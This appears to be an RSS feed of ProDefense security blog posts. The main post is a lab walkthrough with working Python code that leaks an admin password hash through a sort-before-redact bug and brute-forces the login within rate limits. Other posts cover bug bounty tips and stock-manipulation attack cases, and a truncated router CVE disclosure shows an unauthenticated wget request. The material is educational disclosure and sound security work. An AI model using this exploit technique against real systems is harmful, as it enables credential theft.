            <content:encoded><![CDATA[<figure><img alt="Python3 script cracking an admins SHA256 password hash" src="https://cdn-images-1.medium.com/max/600/1*0dZnFVSIeKXCyDyO4ALB5g.gif" /><figcaption>Cracking a SHA256 admin password hash</figcaption></figure><h3>Introduction</h3><p>Recently I ran into a unique vulnerability that allowed me to perform password hash extraction, even though it appeared the data was being redacted properly.</p><p>To demonstrate the practical implications of this vulnerability, I developed a script that employed a character-by-character comparison method, gradually building the admin password hash by sorting users and observing their positions. This approach, while time-consuming, presented a unique opportunity to crack SHA256 password hashes without resorting to traditional brute-force techniques.</p><h3>Exploring the Web Application</h3><p>To illustrate this vulnerability, I created a demo web application that simulates this security flaw. This demo is dockerized and can be downloaded <a href="https://github.com/MattKeeley/Lab">here</a> if you want to try it on your own machine. The web application looks like this:</p><figure><img alt="Demo website" src="https://cdn-images-1.medium.com/max/1024/1*C1mdgMZfJqxPWy1qKpdHtQ.png" /><figcaption>Demo website</figcaption></figure><p>The application is basic, consisting of a users table with options to sort, add a new user, and delete all users. In a real-world scenario, this functionality would likely be more advanced and secured behind authentication.</p><h4>Finding the bug</h4><p>While performing my standard web application security methodology, I noticed something interesting when it came to the users table. Using Burp Suite, I was able to see that there was a request being sent when I viewed the index.html page that sorted the users in the table:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3L1jRdhZnh4jAatU4TrrNw.png" /></figure><p>Now, this wasn&#39;t something that was particularly out of the ordinary, but after trying some different ways to sort the column, I found that the users positions were changing when I sorted by <em>password_hash</em>!</p><p>This was pretty odd, as in the screenshot above all the hashes are <strong>REDACTED</strong> so, they shouldn&#39;t change position when sorting by that field??</p><p>To figure out why this was occurring, I did some analysis on the code and found this:</p><pre># Getting users for the table on index.html<br>@app.route(&#39;/users&#39;)<br>def get_users():<br>    sort_col = request.args.get(&#39;sort_col&#39;, default=&#39;id&#39;)<br>    sort_order = request.args.get(&#39;sort_order&#39;, default=&#39;asc&#39;)<br><br>    sorted_users = sorted(<br>        users, key=lambda u: u[sort_col], reverse=(sort_order == &#39;dec&#39;))<br><br>    redacted_users = []<br>    for user in sorted_users:<br>        redacted_user = user.copy()<br>        redacted_user[&#39;password_hash&#39;] = &#39;REDACTED&#39;<br>        redacted_users.append(redacted_user)<br><br>    return jsonify(redacted_users)</pre><p>In the code, we can see that the <em>/users</em> route sorts the user data based on a given <em>sort_col</em> and <em>sort_order</em>, then redacts the passwords before being returned to the user. <strong>The bug lies in the fact that the sorting process occurs prior to the redaction, allowing an attacker to sort the database before its returned.</strong></p><p>In theory, if we know or could guess the password hashing mechanism (usually SHA256, MD5, or bcrypt), we could create a new user, with a password where we know what the hash is, and use that for sorting the users to determine the password of the admin user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*Z_Vg9jrtwmpoYFFNvHwMFw.png" /></figure><p>In the diagram above, the admin password is donut which has a SHA256 hash of <em>2f63371bea3c61d9fdba4469984bd22f2cc2381d23e031634f0387bdd97bd28f</em>.<br>My goal is to return the admin user in the list, before me. When that happens, I know that my hash starts with a value before the admins. So in the case above, my hash is less than the admins, so it returns [me, admin].</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*_FlOTvQ5cgShbNbXuUa_7Q.png" /></figure><p>In this diagram, I updated my password to 72yY2GEp41 which resulted in a SHA256 hash of <em>240ba23967c8a19f98e7315b1198b1aebd203836435c5f0d03dbfd84d11853db</em>. When running the <em>check()</em> function, Im still first in the list. However, the function is validating that the first characters are the same “2” == “2”, then checks the next character “f” &gt; “4”, which would return my hash first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*K-pzEoeklhWhon5wmQSOQA.png" /></figure><p>Last, when my password hash begins with the character “3”, that is greater than the admins password hash which begins with a “2”. Therefore, the admin returns first in the list and <strong>we can determine that the admins password hash has a “2” in the index[0] slot</strong>! Pretty cool right! Now lets turn this theory into code.</p><h4>Turning The Theory Into Code</h4><p>My approach to this problem is rather slow, so if you know of a <strong>more efficient way to do this, please comment and let me know!</strong></p><p>The process I took to extract the admin password hash is as follows:</p><ol><li>Write some functions for creating a new user with a password of my choosing, clear the users table, and sort the users. The code I created for that is the following:</li></ol><pre>domain = &quot;lab.prodefense.io&quot;<br>def create_user(email=&#39;mkeeley@prodefense.io&#39;, name=&#39;matt&#39;, password=&#39;hackyhack&#39;):<br>    url = f&quot;http://{domain}/users&quot;<br>    json = {&quot;email&quot;: email, &quot;name&quot;: name, &quot;password&quot;: password}<br>    requests.post(url, json=json)<br><br><br>def clear_users():<br>    url = f&quot;http://{domain}/users&quot;<br>    requests.delete(url)<br><br><br>def sort_users(direction=&#39;asc&#39;):<br>    url = f&quot;http://{domain}/users?sort_col=password_hash&amp;sort_order={direction}&quot;<br>    r = requests.get(url)<br>    return r.text</pre><p>An extremely easy way to get these requests for your Python code is using the Copy as Requests plugin inside of <a href="https://portswigger.net/burp">Burp Suite</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TzztBI1E7nLcClnx-YEGCw.png" /><figcaption>Copy as python-requests Burp Suite extension</figcaption></figure><p>Copy and paste those in and you are ready to hack!!</p><p>2. Next, I created a function called <em>check() </em>to see if the json response from the <em>sort_users()</em> function is returning the users table with the <strong>admin user first in the list, or second</strong>:</p><pre>def check():<br>    users = json.loads(sort_users())<br>    return users[0][&#39;id&#39;] == 1</pre><p>If the <em>check()</em> function returns a 1, it means that the admin user was returned first, like so:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_dVWNzSalKZQklZoMfsMrg.png" /></figure><p>3. I now needed to be able to find a SHA256 hash that started with a prefix, and return both the string used to generate that hash and the hash itself. <br>For example, if I know my admin_hash is: <strong><em>8c</em></strong><em>6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918</em></p><p>Then what I need to do is create a hash that I can use to sort it against. So my_hash could look like: <strong><em>87</em></strong><em>227afead5d3d1a5b89bf07a673510114b1d98d473d43e0ff7e3b230032311e</em>. The idea here is that since I can sort the database, I can determine if the admin_hash is ascending or descending compared to my_hash. So <em>8c6976e… would show up first before 87227af…</em> because the <em>8&#39;</em>s<em> </em>are equal but<em> “c” </em>comes before “<em>7” </em>if my sort is for descending values. Get the idea?</p><p>Now all I need to do is go character by character, creating hashes with a prefix until I have both the admins plain-text password, and their hash. To do that my code looked like this:</p><pre>def gen_hash(prefix):<br>    while True:<br>        random_string = &#39;&#39;.join(random.choices(<br>            string.ascii_letters + string.digits, k=10))<br>        sha256_hash = hashlib.sha256(random_string.encode()).hexdigest()<br>        if sha256_hash.startswith(prefix):<br>            return random_string, sha256_hash</pre><p>The code above takes in a prefix as the input, and creates random strings until one of the strings starts with the prefix I am looking for.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MG7Kz50TRGG9trao.png" /></figure><p>4. Once I had this function working, the last thing I needed was logic to <a href="https://bishopfox.com/blog/fuzzing-aka-fuzz-testing">fuzz</a> character by character until I got a hash that matched the admins! To do this my code looked like:</p><pre>if __name__ == &#39;__main__&#39;:<br>    # SHA256 hashes can only have 0-9, a-f which limits our bank significantly. <br>    bank = &#39;0123456789abcdef&#39;<br>    value = []<br>    # 64 chars is the length of a SHA256 hash<br>    while len(value) &lt;= 64:<br>        found_match = False<br>        for char in bank:<br>            # Sends the POST request to clear all users but admin<br>            clear_users()<br>            # Ill talk about the &#39;ff&#39; below :sad-doge:<br>            rand_string, hash = gen_hash(&quot;&quot;.join(value) + char + &#39;ff&#39;)<br>            # Creates a new user, with the random string that has our prefix<br>            create_user(password=rand_string)<br>            # Checking to see if admin comes first or second in the table<br>            if check():<br>                value.append(char)<br>                found_match = True<br>                break<br>            # Adds some animation because who likes boring CLIs<br>            print(f&quot;[!] ADMIN HASH: {&#39;&#39;.join(value)}{char}&quot;, end=&#39;\r&#39;)<br>            time.sleep(0.1)<br>        if not found_match:<br>            value.append(&#39;0&#39; if not value else &#39;f&#39;)<br><br>    print(&quot;\n[!] FINAL ADMIN HASH: &quot; + &#39;&#39;.join(value))<br></pre><blockquote>Note: There are some limitations with the code above, you can see on line 12 Im appending <em>‘ff’ t</em>o the end of the prefix Im looking to find. This makes this process pretty slow but its the only thing I could think of to handle hashes that have the max character<em> f </em>in them. When I have<em> ff, </em>my string will always show up 2nd, until I know its the correct character. (Although, if the hash has multiple<em> f’s </em>like<em> abffffnbasd </em>then my code wont work.)</blockquote><p>Overall, if you put all that code together you should see something like the GIF below in your console:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*0dZnFVSIeKXCyDyO4ALB5g.gif" /></figure><p>You can see in the GIF that Im only getting a few characters and then it starts to really slow down. Thats because we are quite literally bruteforcing the admin users password. This is a big limitation and would likely require the attacker to spend a lot of time generating passwords. The only difference between this, and a genric bruteforce is that the limition is due to computation power on your computer. Finding hashes that start with 5+ characters takes a lot of time unless you pre-calculate the hashes or have a big rainbow table to lookup from. Overall, getting a full bruteforce like this would likely take around 500 requests to the server, and require you to generate a TON of strings to get the correct hash value.</p><h3>Not Your Typical Bruteforce</h3><p>The demo application has built in rate-limiting with 200 req/hr on the main endpoints, and 20 req/hr on the login endpoint. With that in mind, a bruteforce attack would likely take millions if not billions of requests to guess the password. But, what if I told you we could do it with under 200 requests? Lets dive into how it would work.</p><p>Similar to the approach I took with the first solve.py script, in this approach we are going to assume the password is randomly picked from <a href="https://github.com/MattKeeley/Lab/blob/main/rockyou.txt">rockyou.txt</a>. Now this is cheating a bit but <a href="https://github.com/MattKeeley/Lab/blob/main/rockyou.txt">rockyou.txt</a> has 14,344,394 (14 Million) password in the list. We are going to have to “guess” the password in under 200 request to avoid detection and the rate-limit. Lets get started.</p><ol><li>Similar to the first solve.py script, Im going to use the same functions that interact with the web application but Im also going to make a login function:</li></ol><pre>domain = &quot;lab.prodefense.io&quot;<br>def create_user(email=&#39;mkeeley@prodefense.io&#39;, name=&#39;matt&#39;, password=&#39;hackyhack&#39;):<br>    url = f&quot;http://{domain}/users&quot;<br>    json = {&quot;email&quot;: email, &quot;name&quot;: name, &quot;password&quot;: password}<br>    requests.post(url, json=json)<br><br><br>def clear_users():<br>    url = f&quot;http://{domain}/users&quot;<br>    requests.delete(url)<br><br><br>def sort_users(direction=&#39;asc&#39;):<br>    url = f&quot;http://{domain}/users?sort_col=password_hash&amp;sort_order={direction}&quot;<br>    r = requests.get(url)<br>    return r.text<br><br><br>def login(username, password):<br>    url = f&quot;http://{domain}/login&quot;<br>    json = {&quot;username&quot;: username, &quot;password&quot;: password}<br>    r = requests.post(url, json=json)<br>    return r.status_code</pre><blockquote>Note: The login function has a strict rate-limit of 20 req/hr so I need to be very careful when I invoke that function.</blockquote><p>2. Next, I needed to create a file called combined.txt which has the <a href="https://github.com/MattKeeley/Lab/blob/main/rockyou.txt">rockyou.txt</a> passwords in SHA256 format. To do that, I had <a href="https://openai.com/blog/chatgpt">chatGPT </a>write a quick helper script like so:</p><pre>import hashlib<br><br>with open(&#39;rockyou.txt&#39;, &#39;r&#39;, encoding=&#39;utf-8&#39;) as input_file:<br>    with open(&#39;combined.txt&#39;, &#39;w&#39;) as output_file:<br>        for line in input_file:<br>            line = line.strip()<br>            hashed_line = hashlib.sha256(line.encode()).hexdigest()<br>            output_file.write(f&#39;{hashed_line},{line}\n&#39;)<br><br>print(&#39;Conversion completed. Check combined.txt file.&#39;)</pre><p>This gave me a quick way to lookup hash values with a given prefix and ctrl-f if I needed to debug:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uQirjIThAmWcmihx5HozXg.png" /><figcaption>rockyou.txt password hashes in SHA256,password format</figcaption></figure><p>2. Now I needed to write a function that can act similar to my <em>gen_hash(prefix) </em>function, but to scan through our new combined.txt file to find hashes that <strong>could be the user’s password hash based on the prefix</strong>. I bet you see where I am going with this now :)</p><pre>def find_hashes(prefix):<br>    hashes = []<br>    passwords = []<br>    with open(&#39;combined.txt&#39;, &#39;r&#39;, errors=&#39;replace&#39;) as file:<br>        for line in file:<br>            line = line.strip()<br>            if line.startswith(prefix):<br>                values = line.split(&#39;,&#39;)<br>                if len(values) == 2:<br>                    sha256, password = values<br>                    hashes.append(sha256)<br>                    passwords.append(password)<br><br>    return hashes, passwords</pre><blockquote>Note: I didn&#39;t replace gen_hashes(prefix) with find_hashes(prefix). Im going to use them in conjunction with each other.</blockquote><p>3. The <em>/login</em> page only allows 20 req/hr. That being said, I needed to get my prefix value long enough to where the I could call the <em>find_hashes()</em> function, and have it return 20 (or less) passwords that start with a given prefix value.</p><pre>Possible password hashes (notice they all start with the prefix):<br><br>hash_prefix: &quot;b60d9&quot;<br>     055555:b60d92f92101e5210a530631ec3ad59c32ecdc3fd3ab75ac1291cedcaf6fee77<br>  cordelius:b60d914e40a9572820f571d8cf38e8425742a8a1cd6c5586f35a6c7e73e39dcf<br>    terfase:b60d920aa0cabdbdcf7447632bcdb9456a35c4378db17137066aee36d3aeea12<br>     obolku:b60d9db875658b618b27f0a2d4c869628a9f937ea6c1a0172d4a6acc2f219846<br>escuelapan2:b60d9852d3325c01b7556719dd1e9b684017b8306fc1902eb9e6298250459735<br>...etc...</pre><p>The bruteforce function below then attempts to login as the admin user given a list of passwords and validates that given the website response code:</p><pre>def bruteforce(password_list):<br>    for pwd in password_list:<br>        if login(&#39;admin&#39;, pwd) == 200:<br>            print(<br>                f&quot;[!] ADMIN PASSWORD: {colored(pwd, &#39;green&#39;)}&quot;)<br>    sys.exit(0)</pre><p>4. The last thing I needed to do was rewrite my main function to generate random passwords with the <em>gen_hash()</em> function until I had less than 20 password hashes, then call the bruteforce function to get that admin password!</p><pre>if __name__ == &#39;__main__&#39;:<br>    api_call_count = 0<br>    prefix = &quot;&quot;<br>    bank = &#39;0123456789abcdef&#39;<br>    for i in range(10):<br>        found_match = False<br>        for char in bank:<br>            clear_users()<br>            pwd, hash_value = gen_hash(prefix+char+&#39;f&#39;)<br>            create_user(password=pwd)<br>            api_call_count += 3<br>            if check():<br>                found_match = True<br>                prefix += char<br>                tmp_hashes, tmp_passwords = find_hashes(prefix)<br>                if (len(tmp_hashes) &lt; 20):<br>                    print(<br>                        f&quot;[!] PARTIAL ADMIN HASH: {colored(prefix, &#39;green&#39;)}&quot;)<br>                    bruteforce(tmp_passwords)<br>                break<br>            print(<br>                f&quot;[!] FINDING HASH: {prefix}{colored(char, &#39;red&#39;)}   -   [INFO] API Calls Sent: {api_call_count}/200&#39;&quot;, end=&#39;\r&#39;)<br>            time.sleep(0.2)<br>        if not found_match:<br>            hash += &#39;f&#39; if hash else &#39;0&#39;</pre><p>The result of putting all those code snippets together looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*37TDA1ORiOX8ZsvGuijE_Q.gif" /><figcaption>Cracking a random password from rockyou.txt with 87 requests</figcaption></figure><p>This solve.py script takes 2m 30s and uses 87 requests. The password hash is completely random in the <a href="https://github.com/MattKeeley/Lab/blob/main/rockyou.txt">rockyou.txt</a> wordlist which contains 14,344,394 (14 Million) passwords.</p><h3>Conclusion</h3><p>While my demo web application might not have won any awards for the “Most Secure Web App of the Year,” it certainly shows how unique some bugs can be, and why chatGPT isn&#39;t going to be taking my job anytime soon.</p><p>Jokes aside, this vulnerability that enables attackers to sort their way to stolen passwords sheds light on the potential risks lurking within seemingly harmless functionalities. Through thorough analysis and a clever approach, attackers can extract password hashes from vulnerable web application if not careful.</p><blockquote>Note: If you like this blog post and want to try to create your own solution script, I&#39;ve created a docker container that randomly generates the admin password that can be <a href="https://github.com/MattKeeley/Lab">downloaded here</a>. Happy Hacking !</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=43ff5cfeeabd" width="1" height="1" alt=""><hr><p><a href="https://medium.com/prodefense/sorting-your-way-to-stolen-passwords-43ff5cfeeabd">Sorting Your Way to Stolen Passwords</a> was originally published in <a href="https://medium.com/prodefense">ProDefense</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unraveling the Bug Bounty Goldmine: Innovative Approaches for Success in 2023]]></title>
            <link>https://medium.com/prodefense/unraveling-the-bug-bounty-goldmine-innovative-approaches-for-success-in-2023-5e8c88e3a976?source=rss-8d13946dd5be------2</link>
            <guid isPermaLink="false">https://medium.com/p/5e8c88e3a976</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[iot]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Matthew Keeley]]></dc:creator>
            <pubDate>Tue, 21 Mar 2023 18:04:20 GMT</pubDate>
            <atom:updated>2023-03-21T18:04:20.154Z</atom:updated>
            <content:encoded><![CDATA[<h3>Get ahead in the bug bounty game with new strategies, tools, and platforms</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_gfAuPP8FpGx-2mG.png" /></figure><h4>Introduction</h4><p>Bug bounty programs have come a long way since their inception. They have transformed from an underground hacker community pursuit into a mainstream practice embraced by organizations worldwide. As the landscape continues to evolve, it’s crucial for bug bounty researchers to stay ahead of the curve and adapt to new methodologies, tools, and platforms. In this article, we’ll explore innovative approaches that can help you achieve success in the bug bounty world of 2023 and beyond.</p><h4>Exploring Niche Technologies</h4><p>As mainstream technologies become more secure and the competition gets fiercer, focusing on niche and emerging technologies can give you a competitive edge. Consider specializing in areas such as IoT, blockchain, or AI, where security vulnerabilities may be less explored and more valuable.</p><h4>Diversifying Your Skillset</h4><p>Bug bounty researchers who possess a diverse set of skills have a better chance of finding vulnerabilities. Invest time in learning different programming languages, web application frameworks, and vulnerability assessment tools. This will help you better understand different systems and exploit a wider range of vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*47tG2gwlDEjianad.jpg" /></figure><h4>Automating Your Workflow</h4><p>Automation is key to staying efficient and competitive in the bug bounty world. Employ the power of custom scripts, open-source tools, or commercial products to automate repetitive tasks like reconnaissance, vulnerability scanning, or reporting. This will help you focus on more critical aspects of bug hunting, like exploiting vulnerabilities and crafting high-quality reports.</p><h4>Building a Strong Network</h4><p>Networking is crucial in the bug bounty ecosystem. Engage with other researchers, join online forums, and participate in local meetups to exchange ideas, tips, and techniques. Building a strong network will not only enhance your learning experience but also open doors to collaboration and potential job opportunities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*ViOJpx1bQswC45d8NqjKog.png" /></figure><h4>Staying Updated on Security Research</h4><p>With new vulnerabilities and exploits being discovered every day, staying up-to-date on the latest security research is essential. Follow industry blogs, podcasts, and social media accounts to keep yourself informed about new developments and trends in cybersecurity.</p><h4>Embracing Non-Traditional Platforms</h4><p>While major bug bounty platforms like HackerOne and Bugcrowd are popular, don’t limit yourself to just these. Explore lesser-known and non-traditional platforms that might cater to niche industries or have fewer researchers, increasing your chances of finding unique vulnerabilities and earning higher rewards.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lTS1mQL3fLqXCPIv.jpg" /></figure><h4>Investing in Training and Certifications</h4><p>Continuously upgrading your skills is essential for a successful bug bounty career. Participate in training programs, online courses, and workshops to stay ahead of your peers. Earning certifications like the Offensive Security Certified Professional (OSCP) or Certified Ethical Hacker (CEH) can help you validate your expertise and enhance your credibility in the field.</p><h4>Conclusion</h4><p>As bug bounty programs continue to gain prominence, the need for skilled and adaptable researchers has never been higher. By embracing innovative approaches, leveraging new tools, and staying ahead of industry trends, you can stand out in this competitive field and maximize your bug bounty success. Happy hunting!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5e8c88e3a976" width="1" height="1" alt=""><hr><p><a href="https://medium.com/prodefense/unraveling-the-bug-bounty-goldmine-innovative-approaches-for-success-in-2023-5e8c88e3a976">Unraveling the Bug Bounty Goldmine: Innovative Approaches for Success in 2023</a> was originally published in <a href="https://medium.com/prodefense">ProDefense</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to conduct stock market manipulation through cyber attacks]]></title>
            <link>https://medium.com/prodefense/how-to-conduct-stock-market-manipulation-through-cyber-attacks-d61bbe406f1?source=rss-8d13946dd5be------2</link>
            <guid isPermaLink="false">https://medium.com/p/d61bbe406f1</guid>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[news]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[stocks]]></category>
            <dc:creator><![CDATA[Matthew Keeley]]></dc:creator>
            <pubDate>Tue, 07 Mar 2023 23:01:09 GMT</pubDate>
            <atom:updated>2023-03-07T23:01:09.055Z</atom:updated>
            <content:encoded><![CDATA[<p>Stock market manipulation through cyber attacks is becoming an increasingly serious problem. Cybersecurity professionals have a critical role to play in preventing and mitigating these attacks, which can have far-reaching consequences for investors and the financial system as a whole. In this blog post, we’ll explore some of the most common methods that cybercriminals use to manipulate the stock market and discuss strategies for prevention and mitigation.</p><h3>Hacking into newswires</h3><p>Hacking into newswires has become a popular tactic used by cybercriminals to manipulate the stock market. It is a relatively simple way to cause widespread panic and create artificial market movements that can lead to huge profits for cybercriminals. One of the most notorious examples of this type of attack occurred in 2013 when the Syrian Electronic Army hacked into the Associated Press’ Twitter account and tweeted a false story about explosions at the White House.</p><figure><img alt="How to steal $136 billion in 17m" src="https://cdn-images-1.medium.com/max/1024/1*yyYLwezzA7STvGVOThRENA.png" /><figcaption>How to steal $136 billion in 17 minutes</figcaption></figure><p>The tweet read: “Breaking: Two Explosions in the White House and Barack Obama is injured.” The tweet was retweeted over 4,000 times within minutes, causing widespread panic and confusion. The incident had a significant impact on the stock market, with the Dow Jones Industrial Average dropping by 143 points within minutes of the tweet. This drop wiped out over $136 billion in market value, and it took about 10 minutes for the market to recover. The incident highlighted the potential danger of cyberattacks on newswires, as even a single tweet can have a significant impact on the market.</p><p>In a prior BSides presentation by Rhett Greenhagen (source: <a href="https://youtu.be/WoyB5R6666M?t=1885">https://youtu.be/WoyB5R6666M?t=1885</a>), it was explained that cybercriminals have the ability to manipulate the stock market by taking advantage of automatic systems that have predetermined profit and loss stopping points. By triggering these stopping points, attackers can create significant movements in the market, allowing them to make large profits by leveraging their available funds and placing bets through call options. This technique enables attackers to achieve returns up to 100 times greater than their initial investment, highlighting the potential financial gains that can be made from such attacks.</p><h3>Insider trading</h3><p>The case of <a href="https://www.bleepingcomputer.com/news/security/russian-hacker-convicted-of-90-million-hack-to-trade-charges/">Vladislav Klyushin</a> highlights the issue of cybercriminals engaging in insider trading by hacking into public companies and gaining access to confidential financial reports. Klyushin, the owner of a Moscow-based cybersecurity firm, hacked into the systems of two U.S.-based filing agents that American companies used to file earnings reports through the SEC system. He then used this stolen information to engage in illegal trades on NASDAQ and NYSE, making $90 MILLION dollars in profits for himself and his co-conspirators.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/0*cB83njp2XmIaXvHb" /></figure><p>Additionally, Klyushin ran a cyber security company based out of Moscow, that offered penetration testing and APT emulation services. The company also provided a hack-to-trade service where they would receive money from “clueless” investors, and in return, would receive around a ~40% return on investment. This 40% ROI was not difficult to obtain since Klyushin and team was hacking into public companies computers to obtain confidential financial reports. Then they would leverage the investors money to “predict” how the stock was going to perform based on the financial statements and how aligned they were to analyst predictions.</p><h3>Spoofing</h3><p>As some of you know, I wrote a tool called <a href="https://github.com/MattKeeley/Spoofy">Spoofy</a> that helps companies determine if their domains can be used for email spoofing.</p><p>Cybercriminals are increasingly using sophisticated software to carry out stock market manipulations by spoofing the identities of legitimate traders. This technique involves creating fake orders in the market, causing prices to fluctuate, and enabling the hackers to profit from the price swings. The consequences of such manipulations can be significant, as seen in the case of Avon Products, Inc. in 2019.</p><p>In that instance, a group of hackers used spoofing to manipulate the publicly traded stocks of Avon Products, Inc. by placing over $13 million in orders to buy and sell its stock. As a result, the stock’s price began to fluctuate, leading to a significant rise in value. The hackers then took advantage of the increase in price by selling their stocks, earning them substantial profits.</p><h3>Conclusion</h3><p>In conclusion, cybercriminals are using various tactics such as hacking into newswires, insider trading, and spoofing to manipulate the stock market, which can have significant consequences for investors and the financial system. These attacks highlight the need for increased vigilance and preventative measures by cybersecurity professionals to protect against such manipulations. The potential financial gains from these attacks underscore the importance of taking these threats seriously and implementing strategies for prevention and mitigation.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d61bbe406f1" width="1" height="1" alt=""><hr><p><a href="https://medium.com/prodefense/how-to-conduct-stock-market-manipulation-through-cyber-attacks-d61bbe406f1">How to conduct stock market manipulation through cyber attacks</a> was originally published in <a href="https://medium.com/prodefense">ProDefense</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ZBT WE1626 Wireless Router CVE Disclosures]]></title>
            <link>https://medium.com/prodefense/zbt-we1626-wireless-router-cve-disclosures-b3534484d97d?source=rss-8d13946dd5be------2</link>
            <guid isPermaLink="false">https://medium.com/p/b3534484d97d</guid>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Matthew Keeley]]></dc:creator>
            <pubDate>Thu, 02 Mar 2023 03:15:50 GMT</pubDate>
            <atom:updated>2023-03-02T03:15:50.819Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QEDFZGqpndqeJ0aNN0BOVA.gif" /></figure><h3>Overview</h3><p>Welcome to the blog about the ZBT WE1626 Wireless Router CVE Disclosures! In this blog, we will discuss the recent vulnerabilities that have been discovered in the ZBT WE1626 Wireless Router. Specifically, we will cover the three vulnerabilities that have been identified:</p><ol><li>Unauthenticated Remote Code Execution: This vulnerability allows an attacker to execute arbitrary code on the router without authentication. This means that an attacker can take control of the router remotely and carry out a variety of malicious activities, including stealing sensitive information or launching further attacks.</li><li>Insufficient Debug Interface Protection: This vulnerability allows an attacker to gain access to the router’s debug interface, which can be used to bypass security controls and carry out attacks that would otherwise be prevented. This vulnerability is particularly concerning because it can be exploited even if the attacker does not have physical access to the router.</li><li>Insufficient UART Interface Protections: This vulnerability allows an attacker to gain access to the router’s UART interface, which can be used to extract sensitive information or modify the router’s configuration. This vulnerability is particularly concerning because it can be exploited even if the attacker does not have physical access to the router.</li></ol><p>In this blog, we will provide an overview of each of these vulnerabilities, including their potential impact and the steps that can be taken to mitigate them. We will also provide recommendations for users of the ZBT WE1626 Wireless Router on how to protect themselves from these vulnerabilities.</p><h3><strong>Unauthenticated Remote Code Execution</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jx59IR2isNriIrEErPLCxA.png" /></figure><h4><strong>Definition</strong></h4><p>Remote Code Execution, also known as Arbitrary Code Execution, is a concept that describes a form of cyberattack in which the attacker can solely command the operation of another person’s computing device or server.</p><h4><strong>CVE Description</strong></h4><p>The ProDefense team has identified an endpoint on the ZBT WE1626 router, which can be exploited by an unauthenticated attacker to execute a WGET command on the local system.</p><p>Upon accessing the device using default administrative credentials, the team observed that the web application features Network Diagnostics functionality. This allows users to submit commands such as Ping, traceroute, NSLookup, and WGET to the system, as illustrated in the accompanying screenshot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kDMyuAqN6GTQYJD0" /></figure><p>The team captured the request when hitting the submit button and stripped out all of the authentication keys and tokens in the original request and resubmitted. The team found that this endpoint for operation test_wget did not require the user to be authenticated to the router.</p><p><strong>Request</strong></p><pre>GET /cgi-bin/webapi?op=test_wget&amp;host=localhost/index.html&amp;ipversion=4 HTTP/1.1<br>Host: 192.168.1.1<br>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0<br>Accept: application/json, text/plain, */*<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Connection: close<br>Referer: http://192.168.1.1/</pre><p><strong>Response</strong></p><pre>HTTP/1.1 200 OK<br>Connection: close<br>Content-type: text/html<br>Access-Control-Allow-Origin: *<br>Content-type: application/json<br>Content-Length: 279<br>{ &quot;code&quot;: &quot;1&quot;, &quot;reason&quot;: &quot;wget ipv4 test success&quot;, <br>&quot;data&quot;: &quot;Downloading http://localhost/index.html&#39;<br>Connecting to 127.0.0.1:80<br>Writing to &#39;\/dev\/null&#39;\n\r\/dev\/null <br>100% |*******************************| 4694 0:00:00 ETA\nDownload completed (4694 bytes)&quot; }</pre><p>As indicated in the aforementioned request, the web application operating on the ZBT WE1626 router permits unauthenticated users to submit requests to the web API.</p><p>Subsequently, the ProDefense team conducted a review of the source code of the ZBT WE1626 router by extracting data from the flash chip. During the source code review process, the team discovered that the router’s web application verifies authentication via the local file system.</p><p>The primary web application user is designated as “root,” and the password is validated by the “passchk” binary, as illustrated in the following code excerpt:</p><pre>op=$FORM_op<br>if [ &quot;$op&quot; == &quot;login&quot; ];then<br> username=&quot;$FORM_username&quot;<br> password=&quot;$FORM_password&quot;<br> (passchk &quot;$username&quot; &quot;$password&quot;)<br> if [ &quot;$?&quot; != &quot;0&quot; ]; then<br> json_init<br> json_add_string code &quot;-4&quot;<br> json_add_string reason &quot;check passwork fail: username or password invalid&quot;<br> echo -n &quot;$(json_dump)&quot;<br> return<br> fi<br> token=&quot;$(generate_token)&quot;<br> 